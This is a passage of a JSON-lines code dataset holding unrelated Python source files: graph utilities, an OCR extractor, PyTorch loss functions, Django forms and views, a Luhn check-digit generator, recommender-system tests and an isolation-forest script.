nodes\n self.adj_list = {}\n \n for node in self.Nodes:\n self.adj_list[node] = []\n \n def add_edge(self, u, v):\n self.adj_list[u].append(v)\n self.adj_list[v].append(u)\n\n def print_adj_list(self):\n print(\"\\nAdjacency List\")\n for node in self.Nodes:\n print(node,\"->\", self.adj_list[node])\n \n \nnodes = [\"A\", \"B\", \"C\", \"D\", \"E\"]\ngraph = AdjacencyList(nodes)\n\nall_edges = [\n (\"A\", \"B\"),\n (\"A\", \"C\"),\n (\"B\", \"D\"),\n (\"C\", \"D\"),\n (\"C\", \"E\"),\n (\"D\", \"E\"),\n]\n\nfor u, v in all_edges:\n graph.add_edge(u, v)\n\ngraph.print_adj_list()","repo_name":"virajSandakelum/Graph-Theory","sub_path":"AdjacencyList.py","file_name":"AdjacencyList.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37805656187","text":"from pdf2image import convert_from_path\r\nimport pytesseract\r\nimport util\r\nfrom backend.src.parser_prescription import PrescriptionParser\r\nfrom backend.src.parser_patientdetails import PatientDetailsParser\r\n\r\n#poppler is used for image to pdf conversion\r\n#pytesseract is used for image to string conversion\r\n\r\nPOPPLER_PATH = r'C:\\poppler-22.04.0\\Library\\bin'\r\npytesseract.pytesseract.tesseract_cmd=r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\r\n\r\ndef extract(file_path,file_format):\r\n # extraction text from pdf file\r\n pages = convert_from_path(file_path, poppler_path=POPPLER_PATH)\r\n document_text = ''\r\n #for page in pages:\r\n if len(pages)>0:\r\n page = pages[0]\r\n processed_image = util.preprocess_image(page)\r\n text = pytesseract.image_to_string(processed_image, lang=\"eng\")\r\n document_text = '\\n' + text\r\n #step 2 : check file format\r\n if file_format == 'prescription':\r\n extracted_data = PrescriptionParser(document_text).parse()\r\n elif file_format =='patient_details':\r\n extracted_data = PatientDetailsParser(document_text).parse()\r\n else:\r\n raise Exception(f\"Invalid File format: {file_format}\")\r\n #step 3 : Return the data\r\n return extracted_data\r\nif __name__ == '__main__':\r\n data = extract('../resources/patient_details/pd_1.pdf','patient_details')\r\n print(data)\r\n","repo_name":"Shindeanita/MedicalOCRProject","sub_path":"backend/src/extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"73342946647","text":"\"\"\"\nConvert human reviewed submissions from a workflow to a 'labeled data'format and writes it to CSV.\n\"\"\"\nfrom indico_toolkit.staggered_loop import StaggeredLoop\nfrom indico_toolkit import create_client\n\n\nclient = create_client(\"app.indico.io\", \"./indico_api_token.txt\")\nstagger = StaggeredLoop(client)\n# workflow_id is required, but optionally specify submission ids to include and \n# the specific model name if more than 1 in workflow\nstagger.get_reviewed_prediction_data(\n workflow_id=412, submission_ids=[123, 415, 987], model_name=\"model_v1\"\n)\nstagger.write_csv(\"./data_to_add_to_model.csv\")\n","repo_name":"IndicoDataSolutions/Indico-Solutions-Toolkit","sub_path":"examples/staggered_loop.py","file_name":"staggered_loop.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"30904641417","text":"import torch\nimport torch.nn.functional as F\n\n\ndef bdcn_loss2(inputs, targets, l_weight=1.1):\n # bdcn loss modified in DexiNed\n\n targets = targets.long()\n mask = targets.float()\n num_positive = torch.sum((mask > 0.0).float()).float() # >0.1\n num_negative = torch.sum((mask <= 0.0).float()).float() # <= 0.1\n\n mask[mask > 0.] = 1.0 * num_negative / (num_positive + num_negative) #0.1\n mask[mask <= 0.] = 1.1 * num_positive / (num_positive + num_negative) # before mask[mask <= 0.1]\n inputs= torch.sigmoid(inputs)\n cost = torch.nn.BCELoss(mask, reduction='none')(inputs, targets.float())\n cost = torch.sum(cost.float().mean((1, 2, 3))) # before sum\n return l_weight*cost\n\n# ------------ cats losses ----------\n\ndef bdrloss(prediction, label, radius,device='cpu'):\n '''\n The boundary tracing loss that handles the confusing pixels.\n '''\n\n filt = torch.ones(1, 1, 2*radius+1, 2*radius+1)\n filt.requires_grad = False\n filt = filt.to(device)\n\n bdr_pred = prediction * label\n pred_bdr_sum = label * F.conv2d(bdr_pred, filt, bias=None, stride=1, padding=radius)\n\n\n\n texture_mask = F.conv2d(label.float(), filt, bias=None, stride=1, padding=radius)\n mask = (texture_mask != 0).float()\n mask[label == 1] = 0\n pred_texture_sum = F.conv2d(prediction * (1-label) * mask, filt, bias=None, stride=1, padding=radius)\n\n softmax_map = torch.clamp(pred_bdr_sum / (pred_texture_sum + pred_bdr_sum + 1e-10), 1e-10, 1 - 1e-10)\n cost = -label * torch.log(softmax_map)\n cost[label == 0] = 0\n\n return torch.sum(cost.float().mean((1, 2, 3)))\n\n\n\ndef textureloss(prediction, label, mask_radius, device='cpu'):\n '''\n The texture suppression loss that smooths the texture regions.\n '''\n filt1 = torch.ones(1, 1, 3, 3)\n filt1.requires_grad = False\n filt1 = filt1.to(device)\n filt2 = torch.ones(1, 1, 2*mask_radius+1, 2*mask_radius+1)\n filt2.requires_grad = False\n filt2 = filt2.to(device)\n\n pred_sums = F.conv2d(prediction.float(), filt1, bias=None, stride=1, padding=1)\n label_sums = F.conv2d(label.float(), filt2, bias=None, stride=1, padding=mask_radius)\n\n mask = 1 - torch.gt(label_sums, 0).float()\n\n loss = -torch.log(torch.clamp(1-pred_sums/9, 1e-10, 1-1e-10))\n loss[mask == 0] = 0\n\n return torch.sum(loss.float().mean((1, 2, 3)))\n\n\ndef cats_loss(prediction, label, l_weight=[0.,0.], device='cpu'):\n # tracingLoss\n\n tex_factor,bdr_factor = l_weight\n balanced_w = 1.1\n label = label.float()\n prediction = prediction.float()\n with torch.no_grad():\n mask = label.clone()\n\n num_positive = torch.sum((mask == 1).float()).float()\n num_negative = torch.sum((mask == 0).float()).float()\n beta = num_negative / (num_positive + num_negative)\n mask[mask == 1] = beta\n mask[mask == 0] = balanced_w * (1 - beta)\n mask[mask == 2] = 0\n prediction = torch.sigmoid(prediction)\n\n cost = torch.nn.functional.binary_cross_entropy(\n prediction.float(), label.float(), weight=mask, reduction='none')\n cost = torch.sum(cost.float().mean((1, 2, 3))) # by me\n label_w = (label != 0).float()\n textcost = textureloss(prediction.float(), label_w.float(), mask_radius=4, device=device)\n bdrcost = bdrloss(prediction.float(), label_w.float(), radius=4, device=device)\n\n return cost + bdr_factor * bdrcost + tex_factor * textcost","repo_name":"xavysp/LDC","sub_path":"loss2.py","file_name":"loss2.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"31"} +{"seq_id":"29918801976","text":"import os\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom django.forms import Textarea, TextInput, NullBooleanSelect, Select\nfrom django.contrib.auth.forms import UserCreationForm\n\nfrom arquitectura.models import *\n\nclass FormControl:\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tfor field in iter(self.fields):\n\t\t\tclase = 'form-control'\n\t\t\tif \"fecha\" in field:\n\t\t\t\tclase += ' datepicker-autoclose'\n\t\t\tself.fields[field].widget.attrs.update({\n\t \t\t\t'class': clase\n\t \t})\n\n\nclass SignUpForm(FormControl, UserCreationForm):\n\tnombre = forms.CharField(max_length=80, required=True)\n\tapellido = forms.CharField(max_length=80, required=True)\n\temail = forms.EmailField(required=True)\n\tcodigo = forms.CharField(max_length=5, required=True, label=\"Codigo de creacion\", help_text=\"Para poder registrarte necesitas un código de creación de usuario. El código se encuentra en el email de bienvenida que recibiste, si no contas con uno, solicitalo a la administración de tu consorcio\")\n\n\n\n\tdef save(self, commit=True):\n\t\tuser = super().save(commit=False)\n\t\tuser.email = self.cleaned_data[\"email\"]\n\t\tuser.first_name = self.cleaned_data[\"nombre\"]\n\t\tuser.last_name = self.cleaned_data[\"apellido\"]\n\t\tif commit:\n\t\t\tuser.save()\n\t\treturn user\n\n\n\nclass ExcelFileField(forms.FileField):\n def validate(self, value):\n file_extension = os.path.splitext(value.name)[1]\n if file_extension != '.xlsx':\n raise forms.ValidationError(\n ('Solo se admite archivos .xlsx'),\n code='invalid'\n )\n super().validate(value)","repo_name":"ramosagustin2103/adminmut_beta","sub_path":"admincu/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22353569801","text":"import sys\nimport os\n\ndef calcLuhn(cardNo: str, isCurrentCharEven: bool = False):\n \"\"\"\n cardNo:\n cardNo for checking if isCurrentCharEven = False\n cardNoWithoutLuhn for calculation Luhn number if isCurrentCharEven = True\n isCurrentCharEven:\n False for checking\n True for calculation Luhn number\n \"\"\"\n luhnNumber = 0\n for currentChar in cardNo[::-1]: # Pass from right to left, so reverse cardNo\n currenDigit = ord(currentChar) - ord('0')\n if isCurrentCharEven:\n currenDigit = currenDigit * 2\n luhnNumber = luhnNumber + (currenDigit // 10)\n luhnNumber = luhnNumber + (currenDigit % 10)\n isCurrentCharEven = not isCurrentCharEven\n \n luhnNumber = luhnNumber % 10\n if luhnNumber: \n luhnNumber = 10 - luhnNumber # Calculate Luhn number for generateLuhn(cardNoWithoutLuhn)\n # If initial isCurrentCharEven == False (called for checking)\n # and luhnNumber == 0 then cardNo[-1] is correct Luhn number\n # else cardNo[-1] is NOT correct Luhn number\n # else luhnNumber is calculated Luhn number\n return luhnNumber \ndef checkLuhn(cardNo: str):\n return False if calcLuhn(cardNo) else True\ndef generateLuhn(cardNoWithoutLuhn: str):\n return cardNoWithoutLuhn + chr(calcLuhn(cardNoWithoutLuhn, True) + ord('0'))\n\nif __name__ == \"__main__\":\n # print(generateLuhn(\"444555oooooo777\".replace(\"o\",\"0\")))\n if len(sys.argv) == 2:\n print(generateLuhn(sys.argv[1].replace(\"o\",\"0\")))\n else:\n print(\"Usage: %s \" % os.path.split(sys.argv[0])[1])\n","repo_name":"py552/n0luhn","sub_path":"n0luhn.py","file_name":"n0luhn.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11132264396","text":"import time\n\nimport osbrain\nfrom osbrain import run_agent\nfrom osbrain import run_nameserver\n\n\ndef log_message(agent, message):\n agent.log_info('Received: %s' % message)\n\n\nif __name__ == '__main__':\n osbrain.config['TRANSPORT'] = 'inproc'\n\n ns = run_nameserver()\n alice = run_agent('Alice', transport='tcp')\n bob = run_agent('Bob')\n\n addr = alice.bind('PUSH', alias='main')\n bob.connect(addr, handler=log_message)\n\n # What about performance?\n for _ in range(3):\n time.sleep(1)\n alice.send('main', 'Hello, Bob!')\n\n ns.shutdown()","repo_name":"muratcanakcay/Agent-Systems-and-Software-Applications","sub_path":"lab6/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8923505390","text":"from django.shortcuts import render, redirect\nimport folium\nfrom geocoder import location\nfrom .forms import SearchForm\nfrom find_buddy.map.models import Search\nfrom ..common.helpers import def_my_map\nfrom django.contrib.auth.decorators import login_required\n\n\n@login_required(login_url='profile login')\ndef show_map(request):\n nav_bar = True\n if request.method == 'POST':\n form = SearchForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('map')\n\n else:\n form = SearchForm()\n address = Search.objects.all().last()\n loc = location(str(address))\n my_lat = loc.lat\n my_lng = loc.lng\n\n if not request.user.pk:\n nav_bar = False\n return redirect('page 404')\n\n if my_lat is None or my_lng is None:\n address.delete()\n nav_bar = False\n return redirect('page 404')\n # Create MAP Object\n m = def_my_map()\n folium.Marker([my_lat, my_lng], tooltip='You have a friend near by',\n draggable=True, zoom=True).add_to(m)\n # m = m._repr_html_() # we need to create a html representation of the map object\n m.fit_bounds(m.get_bounds(), padding=(30, 30))\n m = m._repr_html_()\n\n context = {\n 'map': m,\n 'form': form,\n 'nav_bar': nav_bar,\n }\n return render(request, 'home-map.html', context)\n","repo_name":"LiliaVasileva/FindWoofBuddy","sub_path":"find_buddy/map/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30643851125","text":"#find the HCF of the smallest integer out of the denominator or numerator. here, it is the numerator \nclass Rational:\n def __init__(self, r1, r2):\n self.r1 = r1\n self.r2 = r2\n \n def reduced_form(self, numerator, denominator):\n self.numerator = numerator\n self.denominator= denominator\n g =[]\n h =[]\n f = []\n v = []\n if self.denominator > self.numerator:\n for i in range(1, self.numerator+1):\n if self.numerator % i == 0:\n v.append(i)\n print(v)\n for i in v:\n if self.denominator % i == 0:\n f.append(i)\n div_no =max(f)\n reduced_numerator = self.numerator/ div_no\n reduced_denominator = self.denominator / div_no\n print(f\"{reduced_numerator} / {reduced_denominator}\")\n\n\n elif numerator > self.denominator:\n for i in range(1, self.denominator+1):\n if self.denominator % i == 0:\n h.append(i)\n print(h)\n for i in h:\n if self.numerator % i == 0:\n g.append(i)\n div_no2 = max(g)\n reduced_numerator = self.numerator/ div_no2\n reduced_denominator = self.denominator / div_no2\n print(f\"{reduced_numerator} / {reduced_denominator}\")\n\n def add_rational(self, num1, num2, den1, den2):\n red1 = self.reduced_form(num1, den1)\n red2= self.reduced_form(num2, den2)\n x = (den1 * den2) / (den1) * (num1)\n y = (den1 * den2) / (den2) * (num2)\n z = (x + y)\n h = (den1 * den2)\n answer = self.reduced_form(z, h)\n # print(answer)\n \n def subtract_rational(self, num1, num2, den1, den2):\n red1 = self.reduced_form(num1, den1)\n red2= self.reduced_form(num2, den2)\n x = (den1 * den2) / (den1) * (num1)\n y = (den1 * den2) / (den2) * (num2)\n z = (x - y)\n h = (den1 * den2)\n answer = self.reduced_form(z, h)\n\n def division_rational(self, num1, num2, den1, den2):\n red1 = self.reduced_form(num1, den1)\n red2= self.reduced_form(num2, den2)\n x = (num1 * den2) \n y = (num2 * den1)\n h = self.reduced_form(x, y)\n\n def multiply_rational(self, num1, num2, den1, den2):\n # red1 = self.reduced_form(num1, den1)\n # red2= self.reduced_form(num2, den2)\n red3 = (num1 * num2) \n red4 = (den1 * den2)\n h = self.reduced_form(red3, red4)\n \n\n# rational = Rational((9/12), (2/4))\n# rational.reduced_form(444, 33)\n# rational.add_rational(4,3,2,6)\n# rational.subtract_rational(4,3,2,6)\n# rational.division_rational(4,3,2,6)\n# rational.multiply_rational(10,3,2,6)\n\n\ndef sect():\n import random\n d = [\"faith\", \"tiger\", \"Lion\"]\n # for i in range(5):\n x = random.choice(d)\n k = len(x)\n v = \"_\"\n r = v*k \n print(r)\n print(x)\n \n\n\n alphabet = x\n v = \"\"\n while True:\n secret_message = input('guess the word ')\n secret_message = secret_message.lower()\n # while secret_message != x:\n # for i in range(5):\n for c in secret_message:\n if c in x:\n c = (x[secret_message.index(c)])\n # print (x[secret_message.index(c)])\n v = v + c\n \n continue\n \n if c not in x:\n c = \"_\"\n v = v + c\n print(v)\n \n \n if v == x:\n print(\"you win\")\n else:\n print(\"try again\")\n\n \n \n\nsect()\n","repo_name":"adebusola-prog/ATS","sub_path":"week10/rational_numbers.py","file_name":"rational_numbers.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5296139837","text":"#Creating a csv file and writing into it.\n\nfrom pathlib import Path\nimport csv\n\ndirectory = Path(r'C:\\Users\\KataniMed\\MyScripts')\nmy_file = directory / 'Patients info.txt'\nmy_file.touch()\n\nwith open(r'C:\\Users\\KataniMed\\MyScripts\\Patients info.txt', mode='w') as file:\n filenames = ['Date', 'OP Number', 'Gender','Age', 'Name', 'Resident', 'Contacts']\n write_file = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n \n write_file.writerow(['13/06/1999', '9999', 'Male', '24', 'Juggernaut', 'Katani', '0702538306'])","repo_name":"itsbonface/Project001","sub_path":"MyScripts/Pyprojects/Project001/Greentage0011.py","file_name":"Greentage0011.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43228053112","text":"import importlib\nimport sys\n\n\ndef run_day(day):\n try:\n module = importlib.import_module(f\"day{day:02d}.solution\")\n except ImportError:\n return\n\n with open(f\"day{day:02d}/input.txt\") as fh:\n lines = fh.readlines()\n\n results = {}\n\n for part in (\"part1\", \"part2\"):\n if hasattr(module, part):\n results[part] = getattr(module, part)(lines)\n\n if results:\n print(f\"Day {day:02d}\")\n for part, result in results.items():\n print(f\" {part}: {result}\")\n print()\n\n\ndef run_all():\n for day in range(2, 7):\n run_day(day)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n day = int(sys.argv[1])\n run_day(day)\n else:\n run_all()\n","repo_name":"sneeu/advent-of-code-2020","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11896636049","text":"from pathlib import Path\nimport logging\nimport numpy as np\nimport pandas as pd\n\nfrom pytest import approx, mark\n\nfrom lenskit.algorithms.user_knn import UserUser\nfrom lenskit.algorithms.item_knn import ItemItem\nfrom lenskit.algorithms.basic import PopScore\nfrom lenskit.algorithms.ranking import PlackettLuce\nfrom lenskit.algorithms import Recommender\nfrom lenskit.util.test import ml_test, demo_recs\nfrom lenskit.metrics.topn import _dcg, precision, recall\nfrom lenskit import topn, batch, crossfold as xf\n\n_log = logging.getLogger(__name__)\n\n\ndef test_split_keys():\n rla = topn.RecListAnalysis()\n recs, truth = topn._df_keys(['algorithm', 'user', 'item', 'rank', 'score'],\n ['user', 'item', 'rating'])\n assert truth == ['user']\n assert recs == ['algorithm', 'user']\n\n\ndef test_split_keys_gcol():\n recs, truth = topn._df_keys(['algorithm', 'user', 'item', 'rank', 'score', 'fishtank'],\n ['user', 'item', 'rating'],\n ['algorithm', 'fishtank', 'user'])\n assert truth == ['user']\n assert recs == ['algorithm', 'fishtank', 'user']\n\n\ndef test_run_one():\n rla = topn.RecListAnalysis()\n rla.add_metric(topn.precision)\n rla.add_metric(topn.recall)\n\n recs = pd.DataFrame({'user': 1, 'item': [2]})\n recs.name = 'recs'\n truth = pd.DataFrame({'user': 1, 'item': [1, 2, 3], 'rating': [3.0, 5.0, 4.0]})\n truth.name = 'truth'\n\n print(recs)\n print(truth)\n\n res = rla.compute(recs, truth)\n print(res)\n\n assert res.index.name == 'user'\n assert res.index.is_unique\n\n assert len(res) == 1\n assert all(res.index == 1)\n assert all(res.precision == 1.0)\n assert res.recall.values == approx(1/3)\n\n\ndef test_run_two():\n rla = topn.RecListAnalysis()\n rla.add_metric(topn.precision)\n rla.add_metric(topn.recall)\n rla.add_metric(topn.ndcg)\n\n recs = pd.DataFrame({\n 'data': 'a',\n 'user': ['a', 'a', 'a', 'b', 'b'],\n 'item': [2, 3, 1, 4, 5],\n 'rank': [1, 2, 3, 1, 2]\n })\n truth = pd.DataFrame({\n 'user': ['a', 'a', 'a', 'b', 'b', 'b'],\n 'item': [1, 2, 3, 1, 5, 6],\n 'rating': [3.0, 5.0, 4.0, 3.0, 5.0, 4.0]\n })\n\n def prog(inner):\n assert len(inner) == 2\n return inner\n\n res = rla.compute(recs, truth)\n print(res)\n\n assert res.columns.nlevels == 1\n assert len(res) == 2\n assert res.index.nlevels == 2\n assert res.index.names == ['data', 'user']\n assert all(res.index.levels[0] == 'a')\n assert all(res.index.levels[1] == ['a', 'b'])\n assert all(res.reset_index().user == ['a', 'b'])\n partial_ndcg = _dcg([0.0, 5.0]) / _dcg([5, 4, 3])\n assert res.ndcg.values == approx([1.0, partial_ndcg])\n assert res.precision.values == approx([1.0, 1/2])\n assert res.recall.values == approx([1.0, 1/3])\n\n\ndef test_inner_format():\n rla = topn.RecListAnalysis()\n\n recs = pd.DataFrame({\n 'data': 'a',\n 'user': ['a', 'a', 'a', 'b', 'b'],\n 'item': [2, 3, 1, 4, 5],\n 'rank': [1, 2, 3, 1, 2]\n })\n truth = pd.DataFrame({\n 'user': ['a', 'a', 'a', 'b', 'b', 'b'],\n 'item': [1, 2, 3, 1, 5, 6],\n 'rating': [3.0, 5.0, 4.0, 3.0, 5.0, 4.0]\n })\n\n def inner(recs, truth, foo='a'):\n assert foo == 'b'\n assert set(recs.columns) == set(['LKRecID', 'LKTruthID', 'item', 'rank'])\n assert truth.index.name == 'item'\n assert truth.index.is_unique\n print(truth)\n assert all(truth.columns == ['rating'])\n return len(recs.join(truth, on='item', how='inner'))\n rla.add_metric(inner, name='bob', foo='b')\n\n res = rla.compute(recs, truth)\n print(res)\n\n assert len(res) == 2\n assert res.index.nlevels == 2\n assert res.index.names == ['data', 'user']\n assert all(res.index.levels[0] == 'a')\n assert all(res.index.levels[1] == ['a', 'b'])\n assert all(res.reset_index().user == ['a', 'b'])\n assert all(res['bob'] == [3, 1])\n\n\ndef test_spec_group_cols():\n rla = topn.RecListAnalysis(group_cols=['data', 'user'])\n rla.add_metric(topn.precision)\n rla.add_metric(topn.recall)\n rla.add_metric(topn.ndcg)\n\n recs = pd.DataFrame({\n 'data': 'a',\n 'user': ['a', 'a', 'a', 'b', 'b'],\n 'item': [2, 3, 1, 4, 5],\n 'rank': [1, 2, 3, 1, 2],\n 'wombat': np.random.randn(5)\n })\n truth = pd.DataFrame({\n 'user': ['a', 'a', 'a', 'b', 'b', 'b'],\n 'item': [1, 2, 3, 1, 5, 6],\n 'rating': [3.0, 5.0, 4.0, 3.0, 5.0, 4.0]\n })\n\n res = rla.compute(recs, truth)\n print(res)\n\n assert len(res) == 2\n assert res.index.nlevels == 2\n assert res.index.names == ['data', 'user']\n assert all(res.index.levels[0] == 'a')\n assert all(res.index.levels[1] == ['a', 'b'])\n assert all(res.reset_index().user == ['a', 'b'])\n partial_ndcg = _dcg([0.0, 5.0]) / _dcg([5, 4, 3])\n assert res.ndcg.values == approx([1.0, partial_ndcg])\n assert res.precision.values == approx([1.0, 1/2])\n assert res.recall.values == approx([1.0, 1/3])\n\n\ndef test_java_equiv():\n dir = Path(__file__).parent\n metrics = pd.read_csv(str(dir / 'topn-java-metrics.csv'))\n recs = pd.read_csv(str(dir / 'topn-java-recs.csv'))\n truth = pd.read_csv(str(dir / 'topn-java-truth.csv'))\n\n rla = topn.RecListAnalysis()\n rla.add_metric(topn.ndcg)\n res = rla.compute(recs, truth)\n\n umm = pd.merge(metrics, res.reset_index())\n umm['err'] = umm['ndcg'] - umm['Java.nDCG']\n _log.info('merged: \\n%s', umm)\n assert umm['err'].values == approx(0, abs=1.0e-6)\n\n\n@mark.slow\ndef test_fill_users():\n rla = topn.RecListAnalysis()\n rla.add_metric(topn.precision)\n rla.add_metric(topn.recall)\n\n algo = UserUser(20, min_nbrs=10)\n algo = Recommender.adapt(algo)\n\n splits = xf.sample_users(ml_test.ratings, 1, 50, xf.SampleN(5))\n train, test = next(splits)\n algo.fit(train)\n\n rec_users = test['user'].sample(50).unique()\n assert len(rec_users) < 50\n recs = batch.recommend(algo, rec_users, 25)\n\n scores = rla.compute(recs, test, include_missing=True)\n assert len(scores) == test['user'].nunique()\n assert scores['recall'].notna().sum() == len(rec_users)\n assert all(scores['ntruth'] == 5)\n\n mscores = rla.compute(recs, test)\n assert len(mscores) < len(scores)\n\n recall = scores.loc[scores['recall'].notna(), 'recall'].copy()\n recall, mrecall = recall.align(mscores['recall'])\n assert all(recall == mrecall)\n\n\n@mark.slow\ndef test_adv_fill_users():\n rla = topn.RecListAnalysis()\n rla.add_metric(topn.precision)\n rla.add_metric(topn.recall)\n\n a_uu = UserUser(30, min_nbrs=10)\n a_uu = Recommender.adapt(a_uu)\n a_ii = ItemItem(20, min_nbrs=4)\n a_ii = Recommender.adapt(a_ii)\n\n splits = xf.sample_users(ml_test.ratings, 2, 50, xf.SampleN(5))\n all_recs = {}\n all_test = {}\n for i, (train, test) in enumerate(splits):\n a_uu.fit(train)\n rec_users = test['user'].sample(50).unique()\n all_recs[(i+1, 'UU')] = batch.recommend(a_uu, rec_users, 25)\n\n a_ii.fit(train)\n rec_users = test['user'].sample(50).unique()\n all_recs[(i+1, 'II')] = batch.recommend(a_ii, rec_users, 25)\n all_test[i+1] = test\n\n recs = pd.concat(all_recs, names=['part', 'algo'])\n recs.reset_index(['part', 'algo'], inplace=True)\n recs.reset_index(drop=True, inplace=True)\n\n test = pd.concat(all_test, names=['part'])\n test.reset_index(['part'], inplace=True)\n test.reset_index(drop=True, inplace=True)\n\n scores = rla.compute(recs, test, include_missing=True)\n inames = scores.index.names\n scores.sort_index(inplace=True)\n assert len(scores) == 50 * 4\n assert all(scores['ntruth'] == 5)\n assert scores['recall'].isna().sum() > 0\n _log.info('scores:\\n%s', scores)\n\n ucounts = scores.reset_index().groupby('algo')['user'].agg(['count', 'nunique'])\n assert all(ucounts['count'] == 100)\n assert all(ucounts['nunique'] == 100)\n\n mscores = rla.compute(recs, test)\n mscores = mscores.reset_index().set_index(inames)\n mscores.sort_index(inplace=True)\n assert len(mscores) < len(scores)\n _log.info('mscores:\\n%s', mscores)\n\n recall = scores.loc[scores['recall'].notna(), 'recall'].copy()\n recall, mrecall = recall.align(mscores['recall'])\n assert all(recall == mrecall)\n\n\n@mark.parametrize('drop_rating', [False, True])\ndef test_pr_bulk_match(demo_recs, drop_rating):\n \"bulk and normal match\"\n train, test, recs = demo_recs\n if drop_rating:\n test = test[['user', 'item']]\n\n rla = topn.RecListAnalysis()\n rla.add_metric(precision)\n rla.add_metric(recall)\n # metric without the bulk capabilities\n rla.add_metric(lambda *a: precision(*a), name='ind_p')\n rla.add_metric(lambda *a: recall(*a), name='ind_r')\n res = rla.compute(recs, test)\n\n print(res)\n _log.info('precision mismatches:\\n%s',\n res[res.precision != res.ind_p])\n _log.info('recall mismatches:\\n%s',\n res[res.recall != res.ind_r])\n\n assert res.precision.values == approx(res.ind_p.values)\n assert res.recall.values == approx(res.ind_r.values)\n","repo_name":"lenskit/lkpy","sub_path":"tests/test_topn_analysis.py","file_name":"test_topn_analysis.py","file_ext":"py","file_size_in_byte":9148,"program_lang":"python","lang":"en","doc_type":"code","stars":248,"dataset":"github-code","pt":"31"} +{"seq_id":"6170599738","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom pyod.models.iforest import IForest\n\nfrom six import StringIO\nfrom sklearn import tree\nimport pydotplus\n\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef do_iforest(x, n_estimators=100, max_samples=512):\n clf = IForest(behaviour=\"new\", n_estimators=n_estimators, max_samples=max_samples, random_state=None)\n y_pred = clf.fit_predict(x)\n scores = clf.decision_function(x)\n index = np.where(y_pred == 1)[0]\n return clf, scores, index\n\n\ndef iforest_vis(x, outlier_index, score):\n pca = PCA(n_components=3) # Reduce to k=3 dimensions\n x = StandardScaler().fit_transform(x)\n x = pca.fit_transform(x)\n fig = plt.figure()\n ax = fig.add_subplot(211, projection='3d')\n # Plot the compressed data points\n ax.scatter(x[:, 0], x[:, 1], zs=x[:, 2], s=20, lw=1, c=score, cmap=\"summer\")\n\n ax2 = fig.add_subplot(212, projection='3d')\n ax2.scatter(x[:, 0], x[:, 1], zs=x[:, 2], s=20, lw=1, label=\"inliers\", c=\"green\")\n ax2.scatter(x[outlier_index, 0], x[outlier_index, 1], x[outlier_index, 2],\n lw=2, s=60, marker=\"x\", c=\"red\", label=\"outliers\")\n\n plt.show()\n return\n\n# 这里可以调节输出的树的格式,jpg格式必须先输出dot格式\ndef draw_tree(iForest, tree_list, out_dot=True, out_pdf=True, out_jpg=True):\n for tree_id in tree_list:\n model = iForest.estimators_[tree_id]\n name = 'Tree-' + str(tree_id)\n dot_data = StringIO()\n tree.export_graphviz(model, node_ids=True, filled=True, out_file=dot_data)\n graph = pydotplus.graph_from_dot_data(dot_data.getvalue())\n\n if out_dot:\n graph.write(name + \".dot\")\n if out_pdf:\n graph.write_pdf(name + \".pdf\")\n if out_jpg:\n transfer = \"dot -Tjpg \" + name + \".dot\" + \" -o \" + name + \".jpg\"\n os.system(transfer)\n\n\ndef iforest_depth_table(iforest, x):\n n_tree = len(iforest.estimators_samples_)\n n_sample = x.shape[0]\n print(\"Tree Num: %d\" % n_tree)\n\n depth_table = np.ones([n_sample, n_tree], dtype=int) * -1\n for i in range(n_tree):\n estimator_tree = iforest.estimators_[i].tree_\n n_node = estimator_tree.node_count\n tree_sample_id = iforest.estimators_samples_[i]\n\n # find data sample id for each node in tree i\n # assign depth for each node in tree i\n print(tree_sample_id)\n sample_map = {0: tree_sample_id}\n node_depth = np.zeros(n_node, dtype=int)\n leaf_node_list = []\n for j in range(n_node):\n # if this node is a leaf node then continue\n if estimator_tree.children_left[j] == -1:\n leaf_node_list.append(j)\n continue\n this_node_sample_id = sample_map[j]\n # get the condition of this node (feature & threshold)\n feature, threshold = estimator_tree.feature[j], estimator_tree.threshold[j]\n left_child, right_child = estimator_tree.children_left[j], estimator_tree.children_right[j]\n\n node_depth[left_child] = node_depth[j] + 1\n node_depth[right_child] = node_depth[j] + 1\n sample_map[left_child] = this_node_sample_id[np.where(x[this_node_sample_id, feature] <= threshold)[0]]\n sample_map[right_child] = this_node_sample_id[np.where(x[this_node_sample_id, feature] > threshold)[0]]\n\n\n depth_table[tree_sample_id][i] = 0\n for id in 